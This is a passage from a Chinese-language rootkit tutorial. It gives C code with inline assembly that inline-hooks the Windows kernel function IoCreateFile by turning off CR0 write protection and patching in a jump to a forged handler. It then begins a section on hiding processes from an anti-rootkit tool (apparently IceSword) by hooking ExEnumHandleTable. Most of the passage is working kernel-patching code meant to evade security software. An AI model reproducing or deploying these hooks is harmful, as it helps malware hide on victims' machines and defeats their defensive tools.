sp; FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize OPTIONAL, FileAttributes, ShareAccess, Disposition, CreateOptions, EaBuffer OPTIONAL, EaLength, CreateFileType, ExtraCreateParameters OPTIONAL, Options );
_asm //把还原后的代码又替换成我们伪造的代码 { pushad mov edi, OldIoCreateFile mov eax, dword ptr CrackCodeIoCreateFile[0] mov [edi], eax mov ax, word ptr CrackCodeIoCreateFile[4] mov [edi+4], ax popad } return Status;
}
NTSTATUS PatchIoCreateFile() { NTSTATUS Status; OldIoCreateFile = ( IOCREATEFILE ) GetFunctionAddr(L"IoCreateFile");
if ( OldIoCreateFile == NULL ) { DbgPrint("Get IoCreateFile Addr Error!!"); return STATUS_DEVICE_CONFIGURATION_ERROR; }
_asm //关中断 { CLI MOV EAX, CR0 AND EAX, NOT 10000H MOV CR0, EAX } _asm { pushad //获取 IoCreateFile 函数的地址并保留该函数的起始六个字节 mov edi, OldIoCreateFile mov eax, [edi] mov dword ptr ResumCodeIoCreateFile[0], eax mov ax, [edi+4] mov word ptr ResumCodeIoCreateFile[4], ax //构造要替换的代码,使得系统调用函数时跳到我们构造的NewIoCreateFile去执行 mov byte ptr CrackCodeIoCreateFile[0], 0x68 lea edi, NewIoCreateFile mov dword ptr CrackCodeIoCreateFile[1], edi mov byte ptr CrackCodeIoCreateFile[5], 0xC3
//把构造好的代码进心替换 mov edi, OldIoCreateFile mov eax, dword ptr CrackCodeIoCreateFile[0] mov dword ptr[edi], eax mov ax, word ptr CrackCodeIoCreateFile[4] mov word ptr[edi+4], ax popad }
_asm //开中断 { MOV EAX, CR0 OR EAX, 10000H MOV CR0, EAX STI }
Status = RepairNtosFile( (DWORD)OldIoCreateFile, (DWORD)(&CrackCodeIoCreateFile));
return Status;
}
上面给出的代码中,有些是公共使用的部分,如:GetFunctionAddr()(用来获取函数地址)以及RepairNtosFile()(功能上文已经介绍)函数。为节省版面,在下面的代码中将直接对其进行引用,而不再贴出它们的代码。下面的代码将不会再include头文件。而是直接定义自己所使用到的变量。其中include的投文件与上面的代码相同,另外本文中所有的例子都没有给出Unloaded例程(浪费版面),自己看着写了另外,本文贴出的所有代码,除了第六部分代码只在XP下测试通过,其他代码均再2K及XP下测试并通过。笔者在写这些代码时虽然兼顾到了2K3,但是笔者并没有在2K3中测试过这些代码。这些代码中夹杂了一些汇编指令。这些汇编指令产生主要有两种原因:一是当时的我认为某些东西用汇编指令来表示非常直观,如还原与替换函数代码那个部分。二是在分析一些数据时,由于眼前面对的是纯16进制的数据,于是也没多想咔咔就用汇编写了一个循环下来。如果给你阅读代码造成了不便,笔者在这表示歉意。
三、 隐藏进程
对付IS枚举进程ID的思路是这样的,hook系统函数ExEnumHandleTable,使它先运行我们指定的函数NewExEnumHandleTable,在NewExEnumHandleTable函数中,我们先获取它的回调函数参数Cal 上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] ... 下一页 >> |